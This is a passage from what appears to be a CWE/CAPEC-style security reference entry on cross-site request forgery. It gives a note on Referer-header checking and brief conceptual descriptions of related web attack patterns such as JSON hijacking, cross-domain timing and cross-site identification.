Check the HTTP Referer header to see if the request originated from an expected page. This could break legitimate functionality, because users or proxies may have disabled sending the Referer for privacy reasons.
CAPEC-111: JSON Hijacking (aka JavaScript Hijacking)
An attacker targets a system that uses JavaScript Object Notation (JSON) as a transport mechanism between the client and the server (common in Web 2.0 systems using AJAX) to steal possibly confidential information transmitted from the server back to the client inside the JSON object by taking advantage of the loophole in the browser's Same Origin Policy that does not prohibit JavaScript from one website to be included and executed in the context of another website.
CAPEC-462: Cross-Domain Search Timing
An attacker initiates cross domain HTTP / GET requests and times the server responses. The timing of these responses may leak important information on what is happening on the server. Browser's same origin policy prevents the attacker from directly reading the server responses (in the absence of any other weaknesses), but does not prevent the attacker from timing the responses to requests that the attacker issued cross domain.
CAPEC-467: Cross Site Identification
An attacker harvests identifying information about a victim via an active session that the victim's browser has with a social networking site. A victim may have the social networking site open in one tab or perhaps is simply using the "remember me" feature to keep their session with the social networking site active. An attacker induces a payload to execute in the victim's browser that transparently to the victim initiates a request to the social networking site (e.g., via available social network site APIs) to retrieve identifying information about a victim. While some of this information may be public, the attacker is able to harvest this information in context and may use it for further attacks on the user (e.g., spear phishing).
CAPEC-62: Cross Site Request Forgery
An attacker crafts malicious web links and distributes them (via web pages, email, etc.), typically in a targeted manner, hoping to induce users to click on the link and execute the malicious action against some third-party application. If successful, the action embedded in the malicious link will be processed and accepted by the targeted application with the users' privilege level. This type of attack leverages the persistence and implicit trust placed in user session cookies by many web applications today. In such an architecture, once the user authenticates to an application and a session cookie is created on the user's system, all following transactions for that session are authenticated using that cookie including potential actions initiated by an attacker and simply "riding" the existing session cookie.